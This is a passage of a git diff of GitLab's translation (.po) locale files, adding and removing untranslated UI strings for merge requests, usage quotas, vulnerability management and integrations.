+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index c9adcdd242b..c87675567ac 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -342,6 +351,12 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -413,6 +428,10 @@ msgstr[0] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -632,7 +651,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -686,6 +705,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -717,9 +739,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -744,6 +763,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -775,6 +797,9 @@ msgstr ""
